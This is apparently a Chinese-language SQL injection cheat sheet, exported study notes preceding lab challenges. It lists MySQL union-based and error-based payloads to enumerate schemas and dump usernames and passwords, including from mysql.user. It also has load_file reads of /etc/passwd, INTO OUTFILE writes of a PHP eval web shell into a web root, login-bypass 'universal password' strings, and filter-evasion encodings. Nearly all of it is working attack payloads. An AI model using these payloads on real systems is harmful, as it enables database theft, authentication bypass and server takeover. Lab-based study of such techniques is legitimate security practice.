爆破字典

常用查询函数 1:system_user() 系统用户名 2:user() 用户名 3:current_user 当前用户名 4:session_user()连接数据库的用户名 5:database() 数据库名 6:version() MYSQL数据库版本 @@version 7:load_file() MYSQL读取本地文件的函数 8:@@datadir 读取数据库路径 9:@@basedir MYSQL 安装路径 10:@@version_compile_os 操作系统

'
''
2-1
2-0
2'-'1
2'-'0
and 1=1
and 1=2
or 1=1
or 1=2
order by 1
order by 2
order by 3
order by 4
order by 5
and 1=2 union select 1,2,3 --+
and 1=2 union select 1,2,3,4 --+
and 1=2 union select 1,2,3,4,5 --+
union select 1,database(),3 --+
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
union select 1,group_concat(password),3 from security.users --+
and (select 1 from (select count(*),concat(database(),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+

扩展一下

and 1=2 union select 1,group_concat(user,'::',password),3 from mysql.user (mysql用户账号密码)

爆库名
union select 1,schema_name,3 from information_schema.schemata limit 0,1--+  (limit可以遍历)

爆表名
union select 1,group_concat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database()--+

爆列名
union select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ (也可以直接'users')

爆字段
union select 1,group_concat(username,0x3a3a,password),3 from users--+

如果权限够大可以直接用
load_file()读文件
union select 1,load_file('c:\\\\flag.txt'),3 --+

直接写文件union+select+1,2,3,char(0x3C3F706870206576616C28245F504F53545B39305D3F3B3E),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 在web目录写入一句话木马
<?php+eval($_POST[90]?;> 为上面16进制编码后的一句话原型
union+select+1,2,3,load_file(d:/web/logo123.jpg),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 将PHP马改成图片类型上传之网站,再通过into outfile 写入web目录

万能密码

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
SELECT load_file('/etc/passwd');
CopySELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';
bypass
绕过
过滤了空格

%09 TAB 键(水平) 
%0a 新建一行
%0c 新的一页
%0d return 功能 
%0b TAB 键(垂直) 
%a0 空格
/**/

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5b7ad9d4-63eb-469f-b93c-22a8f8f32eff/Untitled.png


以上为知识点


开始闯关

试错版

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b30b2924-5a5e-46ad-974c-e0b0e762ff48/Untitled.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b13c4adb-ccbd-4aae-a8fb-778edb03db8b/Untitled.png